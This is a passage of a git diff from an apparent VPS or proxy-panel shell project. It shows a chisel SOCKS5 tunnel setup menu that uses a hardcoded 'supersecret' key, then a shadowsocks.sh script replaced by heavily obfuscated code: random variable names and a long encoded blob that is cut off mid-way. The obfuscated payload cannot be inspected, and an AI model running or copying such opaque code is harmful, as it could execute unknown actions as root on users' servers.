USE ESPACIOS, NI CARACTERES ESPECIALES!${scor}\n" + fun_chisel + } + sizemin=$(echo ${#username}) + [[ $sizemin -lt 2 ]] && { + echo -e "\n${cor1}Você digitou um nome de usuário muito curto${scor}" + echo -e "${cor1}use no mínimo dois caracteres!${scor}\n" + fun_chisel + } + sizemax=$(echo ${#username}) + [[ $sizemax -gt 10 ]] && { + echo -e "\n${cor1}Você digitou um nome de usuário muito grande" + echo -e "${cor1}use no máximo 10 caracteres!${scor}\n" + fun_chisel + } + echo -ne "\033[1;32mCONTRASEÑA:\033[1;37m ";read password + [[ -z $password ]] && { + echo -e "\n${cor1}NO SE INGRESO CONTRASEÑA!${scor}\n" + fun_chisel + } + sizepass=$(echo ${#password}) + [[ $sizepass -lt 4 ]] && { + echo -e "\n${cor1}CONTRASEÑA MUY CORTA, USE MINIMO 4 CARACTERES${scor}\n" + fun_chisel + } + echo -e "\n\033[1;32mCONFIGURANDO CHISEL !\033[0m" + echo "" + fun_inichisel() { + docker run --name chisel -p $porta:$porta -d --restart always jpillora/chisel server -p $porta --socks5 --key supersecret --auth "$username:$password" + docker.io run --name chisel -p $porta:$porta -d --restart always jpillora/chisel server -p $porta --socks5 --key supersecret --auth "$username:$password" + } + fun_bar 'fun_inichisel' + clear + echo -e "\n\033[1;32mCHISEL INSTALADO EXITOSAMENTE !\033[1;31m PORTA: \033[1;33m${porta}\033[0m" + sleep 3 + clear + fun_chisel + fi + elif [[ "$resposta" = '2' ]]; then + clear + echo -e "\n\033[1;32mREINICIANDO CHISEL !\033[1;33m" + echo "" + fun_attchisel() { + docker restart chisel + docker.io restart chisel + } + fun_attchisel + clear + echo -e "\n\033[1;32mCHISEL REINICIANDO EXITOSAMENTE !\033[1;33m" + sleep 1 + fun_chisel + elif [[ "$resposta" = '0' ]]; then + echo "" + echo -e "\033[1;31mRetornando...\033[0m" + sleep 1 + return + else + echo "" + echo -e "\033[1;31mOpcao invalida !\033[0m" + sleep 1 + fi + } + diff --git a/Lista/shadowsocks.sh b/Lista/shadowsocks.sh index 142d056..69e1c75 100755 --- a/Lista/shadowsocks.sh +++ b/Lista/shadowsocks.sh @@ -1,2 +1,1247 @@ -#!/bin/bash -wCJyzxfitasMbacjYQUwFmWtLDBiySNpLdTSozbntQsUmYvwKVguyMEfUijqWrzDBkgCqzsyXMWIVNMibzFPJBzfCDElXwJPutjz="tdkKiHVAtrtNXYpQAZJbClLRfbeZQZqpxuhHzUOCyxkXzKdbMMexCRPJODVZsHivTwrNSlZGghpPBQgUhusmvfyQlodOkCJIqrri";ZDdGbzAHwOaQOCRkVKCgSxreAQBVkToNUBrUUBcfZHtjfbEjfDBIQWjBUZzraLldNXlCBMvGnrZzJCQFfSgQQqIdvejtFWHvAuEr="tyEViOykVEIalkWdVeuHlLTzclyAXXBpGLyoOblXSGIXnBHFdHKlckLrfnUhXwJEZjCKvJlUGNYWtacqzoZMtgIUrSiWCYJzMMbV";ItEeoteCPQyZjEHUnBtIUVfOyicFcyAYjxURxmjJassOWzcSaNqrDpZZsxVGqGMJLdSujCOTxUyzIjyKZafEgJtpJItSskmtQXRj="ch";HOpQkMUFPgWqyiENAzcZxuxIuYfFZkzUoZMpZfNGUSLSoITiBzQjmUmybgdlTeUqsWpbETnjIQzFxDuUpJoGMRDUhMHNgLcBNSgb="4";NBjKqgnlrAXfYlXRevBKGkIsMktXdOZqxZumTbfDTbTeNVNyJxfwfdmZAPhOgGuhRqSbnjbMVnIaGxuzXrPivbsYVOEAiyUOgeJv="";oiltTLDAYNsCZQInbQpwAYAlKcEatifYuMahiwRWvHShwbdMyqsGNxpaXMQNovDaVycGclkKmmgzXzbkUcMtyQztTovYEopBgNov="UmjKUNcrHavNmqIRmgyursXWLfvBOOtbFVirTFzBbxyUSxKWgKNNcywDpDtKqHTxFHCCUjPIkWwXpssSorPhSyPIvMpJVgyXynXJ";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